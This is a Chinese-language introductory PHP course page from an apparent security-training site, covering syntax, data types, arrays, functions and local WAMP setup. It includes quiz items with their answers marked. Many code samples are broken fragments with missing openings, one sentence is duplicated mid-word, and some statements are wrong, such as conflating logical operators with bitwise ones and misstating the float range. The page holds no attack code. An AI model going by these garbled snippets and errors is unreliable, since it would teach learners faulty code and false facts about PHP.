关于PHP说法正确的是()|!PHP变量使用时,上下文会自动确定其变量的类型|PHP是一种强类型语言|PHP通过指针传递参数|PHP声明变量需要指定变量的类型

PHP的作用


https://assets.course.twosecurity.io/03ce3f5dfc24dc4accea8f1e89454410/audio/%E9%9F%B3%E9%A2%91%202.mp4
PHP的作用:我们使用 PHP 来作为学习 Web 服务端的入门语言是因为它更加的轻量、语法简洁,且跨平台。PHP需要安装相应的应用程序,这样可以协助Web服务器工作,主要是在Web开发 编写服务端的脚本语言,挂在Web服务器上一同工作。当用户通过浏览器访问Web服务器需要得到动态响应的结果时,就需要用PHP脚本编程语言了。


https://code.twosecurity.xyz/|代码练习平台

https://assets.course.twosecurity.io/03ce3f5dfc24dc4accea8f1e89454410/audio/%E9%9F%B3%E9%A2%91%203.mp4
那首先,我们可以使用在线的PHP学习平台: http://phpcode.twosecurity.xyz 来学习一些基础语法。 左边是代码输入区,我们就在这里输入代码,点击绿色按钮则可将代码格式化,点击红色按钮可以运行我们输入的代码,代码运行的结果会在右边显示。




https://assets.course.twosecurity.io/03ce3f5dfc24dc4accea8f1e89454410/audio/%E9%9F%B3%E9%A2%91%204.mp4
除了PHP代码外,HTML也是可以输入网页的代码
了解了PHP后,下列正确的是()|!变量命名必须以字母或下划线(_)开头|PHP可以代替HTML|PHP在很大程度上依赖脚本语言|和HTML一样,PHP网页运行时可在客户端看到真实的PHP源代码

基础语法

注解: 在PHP中也可以将elseif分开成两个关键字“else if”来使用


https://assets.course.twosecurity.io/03ce3f5dfc24dc4accea8f1e89454410/audio/%E9%9F%B3%E9%A2%91%205.mp4
我们先来讲解if与else的使用。if语句是单一条件分支结构语句,if-else 语句则是双向条件分支结构语句。elseif,则是一种多向条件分支结构语句。(在PHP中也可以将elseif分开成两个关键字“else if”来使用。)其中 else 语句是 if 语句的从句,必须和if一起使用,不能单独存在。他们通常用于改变语句的执行顺序。
https://assets.course.twosecurity.io/03ce3f5dfc24dc4accea8f1e89454410/audio/%E9%9F%B3%E9%A2%91%206.mp4
不同的语句使用的场景也不同。单独的if语句一般是对一个表达式进行计算,根据计算结果从而决定是否需要执行后面的语句。if-else语句则要在满足某个条件时才执行一条语句,不满足该条件时则执行其他语句。elseif子句则会根据不同的表达式值确定执行哪个语句块。
$b){ echo 'a > b'; }else{ echo 'a < b'; } echo "
比较完成"; ?>

https://assets.course.twosecurity.io/03ce3f5dfc24dc4accea8f1e89454410/audio/%E9%9F%B3%E9%A2%91%207.mp4
这个范例是对变量$a和变量$b进行判断,当变量$a的值大于变量$b的值时,结果显示“变量$a大于变量$b”;如果变量$a的值小于变量$b的值,则显示“变量$a小于变量$b”。大家可以在在线的PHP学习平台简单实践这几句代码,看看能不能得到结果。
https://assets.course.twosecurity.io/03ce3f5dfc24dc4accea8f1e89454410/audio/%E9%9F%B3%E9%A2%91%208.mp4
接下来讲 and 与 or 。位运算符允许对整型数中指定的位进行置位。如果左右参数都是字符串,则位运算符将操作字符的 ASCII 值自动转换为整型再参与位运算,浮点数也会这样。位运算用于对操作数中的每一个二进制位进行运算。
https://assets.course.twosecurity.io/03ce3f5dfc24dc4accea8f1e89454410/audio/%E9%9F%B3%E9%A2%91%209.mp4
当我们使用位运算符时,位运算符则是逻辑与:当左右两边操作数都为 true 时,返回 true ,否则返回 false 。位运算符 or (||)为逻辑或:当左右两边操作数都为 false 时,返回 false ,否则返回 true 。 条件运算符

注解: >、<==等


https://assets.course.twosecurity.io/03ce3f5dfc24dc4accea8f1e89454410/audio/%E9%9F%B3%E9%A2%91%2010.mp4
我们还需要知道位运算符只能操作 boolean 类型的值,但很少直接操作 boolean 值。通常先使用条件运算符比较后得到 TRUE 或 FALSE 的结果,再使用这些逻辑运算符连接起来做逻件运算符比较后得到 TRUE 或 FALSE 的结果,再使用这些逻辑运算符连接起来做逻辑判断,或者和一些返回布尔型函数一起使用。


https://assets.course.twosecurity.io/03ce3f5dfc24dc4accea8f1e89454410/audio/%E9%9F%B3%E9%A2%91%2011.mp4
同样也有代码的范例,大家可以尝试自己编写如下的代码。
https://assets.course.twosecurity.io/03ce3f5dfc24dc4accea8f1e89454410/audio/%E9%9F%B3%E9%A2%91%2012.mp4
echo()用于输出一个或者多个字符串。其参数也时可以为一个或者多个需要传送到输出的字符串,但要是传递的字符串超过一个就不能用括弧括住参数。
This is practice place"; //拼接另一个字符串输出 echo "This is practice place
";//多行字符串 echo 'This ','is ','practice ','place';//参数分隔输出 ?>

https://assets.course.twosecurity.io/03ce3f5dfc24dc4accea8f1e89454410/audio/%E9%9F%B3%E9%A2%91%2013.mp4
我们来看看这个简单的代码范例。
https://assets.course.twosecurity.io/03ce3f5dfc24dc4accea8f1e89454410/audio/%E9%9F%B3%E9%A2%91%2014.mp4
与普通函数的不同:echo语句的执行效率通常比别的输出函数效率高,但echo实际上并不是一个函数。


上面程序运行的结果是?|5050|0|100|!101

变量


字符串

https://assets.course.twosecurity.io/03ce3f5dfc24dc4accea8f1e89454410/audio/%E9%9F%B3%E9%A2%91%2015.mp4
下面我们来说字符串。字符串是由任意多个字符组成的,也可以是一个字符。它是PHP中的标量类型之一。对于字符串的大小,并没有给定实现范围。
https://assets.course.twosecurity.io/03ce3f5dfc24dc4accea8f1e89454410/audio/%E9%9F%B3%E9%A2%91%2016.mp4
在PHP里,其他类型的数据都可以自动转换成字符串类型,直接应用于字符串操作函数。字符串可以使用单引号、双引号以及定界符三种方法定义,我们可以根据他们之间的不同区别选择不同的字符串定义方式。这三种字符串又有何区别呢?


https://assets.course.twosecurity.io/03ce3f5dfc24dc4accea8f1e89454410/audio/%E9%9F%B3%E9%A2%91%2017.mp4
首先是单引号,当我们定义以下简单的字符串时,使用单引号可以提高效率,因为这时PHP解析时不会花费对于转义字符和解析变量的开销。所以,如果没有特殊的需求,我们就可以采用单引号定义字符串。


https://assets.course.twosecurity.io/03ce3f5dfc24dc4accea8f1e89454410/audio/%E9%9F%B3%E9%A2%91%2018.mp4
如果使用双引号,PHP就会懂得更多关于特殊字符的转义序列。双引号字符串中最重要的一点是,变量名会被变量值代替。即可以解析双引号中的包含变量。
PHP中单引号和双引号包含字符串的区别正确的是()|单引号速度快,双引号速度慢|双引号速度快,单引号速度慢|单引号可以解析转义字符|!双引号可以解析变量

定界符

- 很重要的一点必须指出,结束标识符所在的行不能包含任何其它字符,除了一个分号(;)之外。这尤其意味着该标识符不能被缩进,而且在分号之前和之后都不能有任何空格或制表符。 要意识到在结束标识符之前的第一个字符必须是你的操作系统中定义的换行符。例如\r。如果破坏了这条规则使得结束标识符不“干净”,则它不会被视为结束标识符,php将继续寻找下去。如果在这种情况下找不到合适的结束标识符,将会导致一个在脚本最后一行出现的语法错误 不能用定界符语法初始化类成员,可用其它字符串语法替代。



https://assets.course.twosecurity.io/03ce3f5dfc24dc4accea8f1e89454410/audio/%E9%9F%B3%E9%A2%91%2019.mp4
在定界符文本中是不要转义引号的,不过仍然可以使用在双引号中能够使用的转义号。定界符中的变量也会被解析,所以较长的字符串使用定界符定义,它一般用于从文件或者数据库中输出大段的文档。 正则表达式

注解: 又称正规表示法、常规表示法。正则表达式使用单个字符串来描述、匹配一系列符合某个句法规则的字符串。在很多文本编辑器里,正则表达式通常被用来检索、替换那些符合某个模式的文本。


https://assets.course.twosecurity.io/03ce3f5dfc24dc4accea8f1e89454410/audio/%E9%9F%B3%E9%A2%91%2020.mp4
常见场景:字符串作为PHP的一种基本的数据类型,所以PHP中,提供了大量的字符串操作函数,功能强大,使用也比较简单。通常对字符串的处理涉及字符串的格式化、字符串的分割和连接、字符串的比较,以及字符串的查找、匹配和替换等。但对于很多复杂的字符串操作,则与要通过正则表达式完成。
分析下面的代码,输出为()|abc666123|abc"666"123|abc"$v"123|"abc""$v""123"|"abc666123"|!"abc"666"123"

整型

https://assets.course.twosecurity.io/03ce3f5dfc24dc4accea8f1e89454410/audio/%E9%9F%B3%E9%A2%91%2021.mp4
PHP中的标量还包括整型,用于存储整数。除了常用的十进制数前的正负号,还可以用八进制或十六进制都符号指定,即在前面加上 “0” 或“0x”。但在表达式中,计算结果都是以十进制数字输出。


https://assets.course.twosecurity.io/03ce3f5dfc24dc4accea8f1e89454410/audio/%E9%9F%B3%E9%A2%91%2022.mp4
如何使用:在使用时,我们需要申明整型。


https://assets.course.twosecurity.io/03ce3f5dfc24dc4accea8f1e89454410/audio/%E9%9F%B3%E9%A2%91%2023.mp4
常见场景:整型数值的适用范围跟字长和平台有关,对32位的操作系统,最大的整数为2 147 483 647。PHP不支持无符号整数,如果给定的数值超过 integer 的范围则会被解释为 float 类型。如果运算结果超过该范围,也会返回 float 。
下列哪些属于PHP中的数据类型|!string|!int|!boolean|!object

浮点数

https://assets.course.twosecurity.io/03ce3f5dfc24dc4accea8f1e89454410/audio/%E9%9F%B3%E9%A2%91%2024.mp4
讲完了整型接下来讲浮点型。浮点数是包含小数部分的数也称为双精度数或者实数,也是 PHP 中标量类型之一。它的字长也和平台相关,允许表示的范围在1.7E-38~1.7E+38之间,精确到小数点后15位。
https://assets.course.twosecurity.io/03ce3f5dfc24dc4accea8f1e89454410/audio/%E9%9F%B3%E9%A2%91%2025.mp4
与数字的不同:浮点数是一种近似值,不像整型确定了值,所以无法比较两个浮点数是否相等。


https://assets.course.twosecurity.io/03ce3f5dfc24dc4accea8f1e89454410/audio/%E9%9F%B3%E9%A2%91%2026.mp4
使用时,我们定义浮点类型就可以了。 gmp()函数

注解: gmp是The GNU MP Bignum Library,是一个开源的数学运算库,它可以用于任意精度的数学运算,包括有符号整数、有理数和浮点数。


https://assets.course.twosecurity.io/03ce3f5dfc24dc4accea8f1e89454410/audio/%E9%9F%B3%E9%A2%91%2027.mp4
因为浮点数是近似值,所以它的结果不可能精确到了最后一位,也无法比较是否相等。如果需要提高精度,应该使用任意的精度数学函数或者gmp()函数。
代码下面的分析,返回结果为()|true true|false false|!true false|false true

Bool 型

注解: 将其他类型作为 boolean 时,被认为是 FALSE 的值有:整型值0(零)、浮点型值0.0(零)、空白字符串和字符串"0"、没有成员变量的数组、特殊类型 NULL(包括尚未设定的变量)。除了被认为是 FALSE,所有其他值都被认为是 TRUE(包括任何资源)。


https://assets.course.twosecurity.io/03ce3f5dfc24dc4accea8f1e89454410/audio/%E9%9F%B3%E9%A2%91%2028.mp4
PHP中的标量类型还有布尔型,这时最简单的类型。boolean表达了TRUE或FALSE。即“真”或“假”。
https://assets.course.twosecurity.io/03ce3f5dfc24dc4accea8f1e89454410/audio/%E9%9F%B3%E9%A2%91%2029.mp4
将其他类型作为boolean时,被认为是FALSE的值有:整型值0(零)、浮点型值 0.0(零)、空白字符串和字符串"0"、没有成员变量的数组、特殊类型NULL(包括尚未设定的变量)。除了被认为是FALSE,所有其他值都被认为是TRUE(包括任何资源)。
https://assets.course.twosecurity.io/03ce3f5dfc24dc4accea8f1e89454410/audio/%E9%9F%B3%E9%A2%91%2030.mp4
在PHP进行关系运算和布尔运算时,返回的结果都为布尔类型的结果。在过程中,运算符、函数或者流程控制需要boolean类型参数时,其他类型的值会被自动转换成布尔类型的值。
执行下面的代码的结果是什么?|!boolean|boolean0|booleanFALSE|Booleanfalse

数组

https://assets.course.twosecurity.io/03ce3f5dfc24dc4accea8f1e89454410/audio/%E9%9F%B3%E9%A2%91%2031.mp4
当我们需要储存、管理以及操作一组变量时,我们就需要使用数组了。数组属于复合数据类型,可以存放多个数据,存入的数据可以使任何类型的。 PHP 中的数组实际上是一个有序图,并且可以有多种实现。
https://assets.course.twosecurity.io/03ce3f5dfc24dc4accea8f1e89454410/audio/%E9%9F%B3%E9%A2%91%2032.mp4
在创建数组时,并不需要指定其大小,也不用申明。在使用同一个数组时,存放的数据可以是不同类型的。PHP支持一维和多维数组,也可以是由用户自定义生成的数组。
https://assets.course.twosecurity.io/03ce3f5dfc24dc4accea8f1e89454410/audio/%E9%9F%B3%E9%A2%91%2033.mp4
自定义数组可以使用 array()函数声明,如果使用 array()结构时,不希望使用默认的索引值,就可以使用“=>”运算符指定非连续的索引值。如果没有使用,默认索引值也是紧跟指定索引值元素中的最高的索引值递增。
$contact2 = array("ID" =>1, $contact2
= 1 "姓名" => "Tee", $contact2
= "Wee"; "公司" => "ATwosecurity", $contact2
= "ATwosecurity"; "地址" => "北京市", $contact2
= "北京市"; "电话" => "(010)184368732", $contact2
= "(010)1754399532"; "E-mail" => "gao@twosecurity.com" );$contact2
= "gao@twosecurity.com";

https://assets.course.twosecurity.io/03ce3f5dfc24dc4accea8f1e89454410/audio/%E9%9F%B3%E9%A2%91%2034.mp4
如果使用 array()语言结构声明关联数组,就必须使用“=>”运算符号指定字符串下标。例如,下例声明一个联系人的关联数组 $contact2,左右两边使用两种方法声明的数组代码等同。
$contact1 = array( array(1, '李xx', 'ATwosecurity', '北京', '(010))184123368732','gm@twosecurity.com'), array(2, '叶xx', 'BTwosecurity', '上海', '(021))181234368732','lm@twosecurity.com'), array(3, '峰xx', 'CTwosecurity', '天津', '(022))181234368732','fm@twosecurity.com'), array(4, '陈xx', 'DTwosecurity', '重庆', '(023))184312368732','sm@twosecurity.com') );

https://assets.course.twosecurity.io/03ce3f5dfc24dc4accea8f1e89454410/audio/%E9%9F%B3%E9%A2%91%2035.mp4
如果要定义多维数组,我们以二维数组为例。二维数组的声明和一维数组的声明方式一样,只是将数组中的每个元素也声明成一个数组,也有直接为数组元素赋值和使用 array()函数两种声明数组的方法。
$contact2 = array( "北京联系人"=> array(1, '高xx', 'Atwosecurity, '北京','(010)98765432', 'gm@twosecurity.com'), "上海联系人"=> array(2, '叶xx', 'Btwosecurity', '上海','(021)12345678', 'lm@twosecurity.com'), "天津联系人"=> array(3, '峰xx', 'Ctwosecurity', '天津','(022)24680246', 'fm@twosecurity.com'), "重庆联系人"=> array(4, '陈xx', 'Dtwosecurity', '重庆','(023)13579135', 'sm@twosecurity.com') );

https://assets.course.twosecurity.io/03ce3f5dfc24dc4accea8f1e89454410/audio/%E9%9F%B3%E9%A2%91%2036.mp4
在上面的代码中,可以看到使用array()函数创建的二维数组 $contact1,其中包含的四个元素也是使用 array()函数声明的子数组。这个数组默认采用了数字索引方式,也可以使用“=>”运算符指定二维数组中每个元素的下标。
https://assets.course.twosecurity.io/03ce3f5dfc24dc4accea8f1e89454410/audio/%E9%9F%B3%E9%A2%91%2037.mp4
访问一维数组是使用数组的名称和索引值,二维数组的访问方式和一维数组是一样的。二维数组是数组的数组,例如通过 $contact1
可以访问到数组 $contact1 中的第一个元素,而访问到的这个元素还是一个数组,所以可以再通过索引值访问子数组中的元素。

备注: echo "第一个联系人的公司:".$contact1

." "; //输出Atwosecurity echo "上海联系人的EMAIL:".$contact2

." "; //输出lm@twosecurity.com

!注意: 访问数组的索引值是从0开始的。


https://assets.course.twosecurity.io/03ce3f5dfc24dc4accea8f1e89454410/audio/%E9%9F%B3%E9%A2%91%2038.mp4
例如$contact1

,第一个索引值0访问数组$contact1中的第一个元素,再通过一个索引值1访问数组$contact1
中的第二
https://assets.course.twosecurity.io/03ce3f5dfc24dc4accea8f1e89454410/audio/%E9%9F%B3%E9%A2%91%2039.mp4
其他的多维数组也可以依此类推。
https://assets.course.twosecurity.io/03ce3f5dfc24dc4accea8f1e89454410/audio/%E9%9F%B3%E9%A2%91%2040.mp4
常见场景:学习PHP的数组可能会感觉很复杂,但它的功能却比其他高级语言的数组强大,它可以将多种类型的变量组织在一个数组里面,而且存储容量还可以根据元素个数自动调整,还能够完成其他强类型语言里数据结构的功能。使用数组的目的,就是将多个相互关联的数据,组织在一起形成集合,作为一个单元使用。
下列说法正确的是()|PHP数组的下标必须为数字,且从"0"开始|PHP数组的下标必须连续|PHP数组的元素类型必须|!PHP数组的下标可以是字符串

Null

https://assets.course.twosecurity.io/03ce3f5dfc24dc4accea8f1e89454410/audio/%E9%9F%B3%E9%A2%91%2041.mp4
特殊的NULL值表示一个变量没有值,不表示空格,也不表示零,也不是空字符串,而是表示一个变量的值为空。NULL类型唯一可能的值就是NULL。并且不区分大小写。


https://assets.course.twosecurity.io/03ce3f5dfc24dc4accea8f1e89454410/audio/%E9%9F%B3%E9%A2%91%2042.mp4
如何使用:使用方法我们来参考一个代码示例。
https://assets.course.twosecurity.io/03ce3f5dfc24dc4accea8f1e89454410/audio/%E9%9F%B3%E9%A2%91%2043.mp4
将变量直接赋值为NULL时,声明的变量尚未被赋值时,以及被unset()函数销毁的变量时,这上情况下的一个变量被认为是NULL。
分析下面的代码并给出结果
|$str1 = null;$str2 = false;echo $str1==$str2 ? '相等' : '不相等';=相等 |$str3 = "";$str4 = 0;echo $str3==$str4 ? '相等' : '不相等';=相等 |$str5 = 0;$str6 = '0';echo $str5===$str6 ? '相等' : '不相等';=不相等 |$str7 = 0;$str8 = false;echo $str7==$str8 ? '相等' : '不相等';=相等

函数


https://assets.course.twosecurity.io/03ce3f5dfc24dc4accea8f1e89454410/audio/%E9%9F%B3%E9%A2%91%2044.mp4
函数是一个被命名的,每个函数有唯一名称。它是独立的代码段,不被其他程序干扰。它执行特定的任务,任务是程序运行时所执行的具体工作。并可能给调用它的程序返回一个值。
https://assets.course.twosecurity.io/03ce3f5dfc24dc4accea8f1e89454410/audio/%E9%9F%B3%E9%A2%91%2045.mp4
PHP的模块化程序结构用函数或是对象来实现,函数则是将复杂的PHP程序分为若干模块,每个模块都编写成一个PHP函数,然后通过在脚本中调用函数,以及函数中调用函数来实现一些大型问题的PHP脚本编写。
https://assets.course.twosecurity.io/03ce3f5dfc24dc4accea8f1e89454410/audio/%E9%9F%B3%E9%A2%91%2046.mp4
使用函数的优越性能提高程序的重用性,提高软件的可维护性,提高软件的开发效率,提高软件的可靠性,并控制程序设计的复杂性。
https://assets.course.twosecurity.io/03ce3f5dfc24dc4accea8f1e89454410/audio/%E9%9F%B3%E9%A2%91%2047.mp4
函数是程序开发中非常重要的内容。因此,对函数的定义、调用和值的返回等,要尤其注重理解和应用,并通过上机调试加以巩固。
函数的声明

function函数名(
) //函数头 { //函数体开始的花括号 函数体; //任何有效的PHP代码都可以作为函数体使用 return 返回值; //可以从函数中返回一个值 } //函数结束的花括号

https://assets.course.twosecurity.io/03ce3f5dfc24dc4accea8f1e89454410/audio/%E9%9F%B3%E9%A2%91%2048.mp4
函数的声明: 在PHP中声明一个自定义函数可以使用如下语法格式:
https://assets.course.twosecurity.io/03ce3f5dfc24dc4accea8f1e89454410/audio/%E9%9F%B3%E9%A2%91%2049.mp4
函数第一行为函数头,由声明函数的关键字function、函数名和参数列表三部分组成,其中每一部分完成特定的功能。 每个自定义函数都必须使用“function”关键字声明。
https://assets.course.twosecurity.io/03ce3f5dfc24dc4accea8f1e89454410/audio/%E9%9F%B3%E9%A2%91%2050.mp4
每个函数都有唯一的名称,你可以将函数命名任何名称,只要遵循变量命名规则即可。但需要注意的是,php中不能使用函数重载,所以不能定义重名的函数,也不能与系统函数同名。
https://assets.course.twosecurity.io/03ce3f5dfc24dc4accea8f1e89454410/audio/%E9%9F%B3%E9%A2%91%2051.mp4
声明函数是要保留后面的括号,括号中表名一组可接受的参数列表,调用函数时传递给它值。
https://assets.course.twosecurity.io/03ce3f5dfc24dc4accea8f1e89454410/audio/%E9%9F%B3%E9%A2%91%2052.mp4
函数体位于函数头后,需用花括号括起。实际的工作是在函数体中完成的。函数被调用后,首先执行函数体中第一条语句,执行到return语句或最外面的花括号后结束,返回到调用的程序。函数体中可以使用任何有效的PHP代码,甚至是其他的函数或类的定义也可以在函数体中声明。
function 函数名 () { 函数体; return 返回值; }

function 函数名 (
) 函数体; }

function 函数名 () { 函数体; }

"; echo "

函数测试表格

"; for($out=0; $out < 10; $out++ ) { if($out%2==0) $bgcolor="ffffff"; else $bgcolor="#dddddd"; echo ""; for($in=0; $in <10; $in++) { echo "".($out*10+$in).""; } echo ""; } echo ""; } //table函数结束花括号 table(); table(); ?>

https://assets.course.twosecurity.io/03ce3f5dfc24dc4accea8f1e89454410/audio/3.m4a
因为参数列表和返回值在函数定义时都是可选的,其他的部分是必须有的。所以声明函数时通常有以下几种方式: 在声明函数时可以没有参数列表 在声明函数时可以没有返回值 在声明函数时可以没有参数列表和返回值: 函数只被声明一次就可以在任何需要的地方调用,只要函数内部代码有所改动,所有调用该函数的地方都会随着改动。将输出表格实例声明为一个函数。
https://assets.course.twosecurity.io/03ce3f5dfc24dc4accea8f1e89454410/audio/%E9%9F%B3%E9%A2%91%2054.mp4
在上面的示例中声明一个函数名为table的函数,将使用双层for循环输出的表格代码作为函数体声明在函数中。声明的table函数没有参数列表也没有返回值,是最简单的自定义函数。
函数调用

https://assets.course.twosecurity.io/03ce3f5dfc24dc4accea8f1e89454410/audio/%E9%9F%B3%E9%A2%91%2055.mp4
函数调用: 不管是自定义的函数还是系统函数,如果函数不被调用就不会执行。只要在需要使用函数的位置,使用函数名称和参数列表进行调用。函数被调用后开始执行函数体中的代码,执行完毕返回调用的位置继续向下执行。函数名称在程序中有以下三个作用:
https://assets.course.twosecurity.io/03ce3f5dfc24dc4accea8f1e89454410/audio/%E9%9F%B3%E9%A2%91%2056.mp4
1、通过函数名称调用函数,在调用的位置执行函数体中代码; 2、用来传递参数。如果函数有参数列表,还可以通过函数名后面的小括号传入对应的值,改变函数内部代码的执行行为; 3、代表返回值。如果函数有返回值,当函数执行完毕会将return后面的值返回到调用函数的位置。这样就可以把函数名称当做函数返回的值使用。




https://assets.course.twosecurity.io/03ce3f5dfc24dc4accea8f1e89454410/audio/%E9%9F%B3%E9%A2%91%2057.mp4
只要函数的声明在脚本中可见,就可以通过函数名在脚本的任意位置调用,在PHP中可以在函数的声明之后调用,也可以在函数的声明之前调用,还可以在函数中调用函数。 在上例中table函数只有声明没有被调用所以不会执行。如果我们在table函数声明的前面和后面分别调用一次,函数就会被执行两次,在两个调用的位置输出两个表格
参数传入

注解: 参数列表是由零个、一个或多个参数组成。每个参数是一个表达式,用逗号分隔。


https://assets.course.twosecurity.io/03ce3f5dfc24dc4accea8f1e89454410/audio/%E9%9F%B3%E9%A2%91%2058.mp4
参数传入: 参数列表是由零个、一个或多个参数组成。每个参数是一个表达式,用逗号分隔。对于有参函数,在PHP脚本程序中和被调函数之间有数据传递关系。定义函数时函数名后面括号内的表达式称为形式参数(简称“形参”),被调函数名后面括号中的表达式称为实际参数(简称“实参”)。实参和形参应该个数相等、类型一致。实参和形参按顺序对应传递数据。
https://assets.course.twosecurity.io/03ce3f5dfc24dc4accea8f1e89454410/audio/%E9%9F%B3%E9%A2%91%2059.mp4
如果函数没有参数列表,那么函数执行的任务是固定的,用户在调用时就不能改变函数内部的一些执行行为。
https://assets.course.twosecurity.io/03ce3f5dfc24dc4accea8f1e89454410/audio/%E9%9F%B3%E9%A2%91%2060.mp4
函数的参数列表作用是给用户调用函数时提供操作接口。如果函数使用参数列表,函数参数的具体数据值从函数外部获得,那么用户就可以将一些数据通过函数的参数列表传递到函数内部。这样在执行函数体时,就可以根据用户传递过来的数据决定函数体内部如何执行。
"; echo "

$tableName

"; //在输出表名时使用第一个参数作为表名 for($out=0; $out < $rows; $out++ ) { //使用第二个参数作为外层循环的次数条件 if($out%2==0) $bgcolor="ffffff"; else $bgcolor="#dddddd"; echo ""; for($in=0; $in < $cols; $in++) { //使用第三个参数作为内层循环的次数条件 echo "".($out * $cols+$in).""; } echo ""; } echo ""; } //table函数结束花括号 ?>

https://assets.course.twosecurity.io/03ce3f5dfc24dc4accea8f1e89454410/audio/2.m4a
将上例中table()函数修改一下,在参数列表中加上三个参数,让用户调用table()函数时可以改变表格的表名、行数和列数。


https://assets.course.twosecurity.io/03ce3f5dfc24dc4accea8f1e89454410/audio/%E9%9F%B3%E9%A2%91%2062.mp4
在定义函数table()时,添加了三个形参:第一个参数需要一个字符串类型的表名;第二个参数是表格的行数需要一个整型数值;第三个参数是输出表格的列数也需要一个整数。这三个形参分别在函数体内以变量的形式使用,在用户调用时才被赋值并在函数体执行期间使用。


https://assets.course.twosecurity.io/03ce3f5dfc24dc4accea8f1e89454410/audio/%E9%9F%B3%E9%A2%91%2063.mp4
该程序执行后输出结果如图所示。
https://assets.course.twosecurity.io/03ce3f5dfc24dc4accea8f1e89454410/audio/%E9%9F%B3%E9%A2%91%2064.mp4
在函数中使用的参数列表,是用户调用函数时传递数据到函数内部的接口。可以根据声明函数时的需要设置多个参数。上例中已经设置了三个参数,用来在调用时改变表格的表名、行数和列数。
https://assets.course.twosecurity.io/03ce3f5dfc24dc4accea8f1e89454410/audio/%E9%9F%B3%E9%A2%91%2065.mp4
return语句可以向函数调用者返回函数体中任意确定的值。将程序控制权返回到调用者的作用域,即退出函数。


";//将这一行累加到$str_table字符串中 $str_table.="

$tableName

";//将这一行累加到$str_table字符串中 for($out=0; $out < $rows; $out++ ) { if($out%2==0) $bgcolor="ffffff"; else $bgcolor="#dddddd"; $str_table.=""; //将这一行累加到$str_table字符串中 for($in=0; $in <$cols; $in++) { $str_table.="".($out*$cols+$in)."";//将这一行累加到$str_table字符串中 } $str_table.=""; //将这一行累加到$str_table字符串中 } $str_table.=""; //将这一行累加到$str_table字符串中return $str_table; //返回通过本函数计算后的字符串 } $str=table("第一个3行4列的表", 3,4);//调用table函数并将返回的结果赋给变量$str echo table("第二个2行10列的表", 2,10); //调用table函数并直接将返回结果输出 echo $str; //将获取到的$str字符串输出 ?>

https://assets.course.twosecurity.io/03ce3f5dfc24dc4accea8f1e89454410/audio/%E9%9F%B3%E9%A2%91%2066.mp4
将 table()函数输出表格功能修改为创建表格的功能。如果将函数体中所有输出的内容都放到一个字符串里,并使用 return 语句返回这个字符串。在调用 table()函数时,就不是必须输出用户指定的表格了,而是获取到用户制定的表格字符串。此时用户不仅可以将获取的字符串直接输出显示表格,还可以将获取到的表格存储到数据库或文件中,或者其他的字符串处理方式。
https://assets.course.twosecurity.io/03ce3f5dfc24dc4accea8f1e89454410/audio/%E9%9F%B3%E9%A2%91%2067.mp4
在上例中将 table()函数中所有输出的内容都累加到了一个字符串 $str_table中,并在函数的最后使用 return 语句将 $str_table 返回。这样,使用 table()调用函数时,不仅将一些数据以参数的形式传到了 函数的内部,还执行了函数,并且调用函数所使用的函数名还代表 return 语句后面的值。
https://assets.course.twosecurity.io/03ce3f5dfc24dc4accea8f1e89454410/audio/%E9%9F%B3%E9%A2%91%2068.mp4
因为,函数执行到第一个 return 语句就会退出函数,不会执行其后面的任何代码。所以,返回多个值不能连续写多个 return 语句。但可以将多个值添加到一个数组中,然后使用 return 返回这个数组,在调用函数时就可以接收到这个数组,并在程序中像使用其他数组一样。
函数知多少
|用于实现数组的升序排序=sort() |返回数组的长度=count() |可以输出的变量类型=var_dump() |可以截取字符串=substr() |将字符串拆解为数组=explode()

在本地环境搭建一个PHP环境

备注:wamp WAMP即 Apache+Mysql+PHP


WAMP|http://www.wampserver.com/en/#download-wrapper

https://assets.course.twosecurity.io/03ce3f5dfc24dc4accea8f1e89454410/audio/%E9%9F%B3%E9%A2%91%2069.mp4
在本地搭建一个PHP环境: 首先介绍WAMP,即Windows下的Apache+Mysql+PHP。它是一组常用来搭建动态网站或者服务器的开源软件,拥有很高的兼容度,组成了一个强大的Web应用程序平台。
https://assets.course.twosecurity.io/03ce3f5dfc24dc4accea8f1e89454410/audio/%E9%9F%B3%E9%A2%91%2070.mp4
首先要下载 WAMP ,下载前可查看电脑是否安装过老版本,若已安装可继续使用,或卸载后再安装新版本。现大部分电脑都已经支持64bit版,如果无法正常运行则尝试32位版。


https://assets.course.twosecurity.io/03ce3f5dfc24dc4accea8f1e89454410/audio/%E9%9F%B3%E9%A2%91%2071.mp4
安装WAMP的过程也很简单,选择安装目录后,其它都点 next 就行 ,但如果安装过程中出现的提示是否指定某些软件为默认的时点击No。


https://assets.course.twosecurity.io/03ce3f5dfc24dc4accea8f1e89454410/audio/%E9%9F%B3%E9%A2%91%2072.mp4
在 WAMP 安装目录下,我们可以看到一个叫 www 的文件夹,这是我们的默认工作空间,也就是说我们可以在这个文件夹下面编写 PHP 代码。




http://127.0.0.1

https://assets.course.twosecurity.io/03ce3f5dfc24dc4accea8f1e89454410/audio/%E9%9F%B3%E9%A2%91%2073.mp4
安装好后,点击桌面的 WAMP 图标运行本地服务器: 现在我们打开浏览器访问 http://127.0.0.1/ 这个网址,如果看到这样的界面就表示安装成功了
Hello Twosecurity'; ?>



https://assets.course.twosecurity.io/03ce3f5dfc24dc4accea8f1e89454410/audio/%E9%9F%B3%E9%A2%91%2074.mp4
接下来我们就在之前提到的 www 目录下编写一个 php 测试文件:twosecurity.php


https://assets.course.twosecurity.io/03ce3f5dfc24dc4accea8f1e89454410/audio/%E9%9F%B3%E9%A2%91%2075.mp4
现在再访问 http://127.0.0.1/twosecurity.php 就可以看到这样的结果:
https://assets.course.twosecurity.io/03ce3f5dfc24dc4accea8f1e89454410/audio/%E9%9F%B3%E9%A2%91%2076.mp4
最后,推荐大家使用 VisualStudioCode 编辑 PHP 代码:
https://code.visualstudio.com/

法律声明




(该课件仅用于信息防御技术教学 请勿用于其他用途)

开始学习

渗透测试工程师,要求从业人员模拟黑客角度入侵企业以达到测试企业安全防御体系的目的。所以安全知识是每一个渗透测试工程师的必备技能。本节课你将会学到web安全经典漏洞的基本原理,你的目标是跟随老师一起理解每一个漏洞的攻击原理,并能够完成简单的漏洞发现。

我们的课程中有很多道练习题,边学边练可以帮助你更快的掌握复杂的知识点。拓展学习部分的内容,是提供给大家课下拓展研究的,大家可以根据自己的目标有针对性的选择拓展内容进行学习。


http://video.twosecurity.cn/%E6%BC%8F%E6%B4%9E%E5%8E%9F%E7%90%861.mp4|http://wechatapppro-1252524126.file.myqcloud.com/appYbDKptvG2044/image/ueditor/3409000_1566464207.png
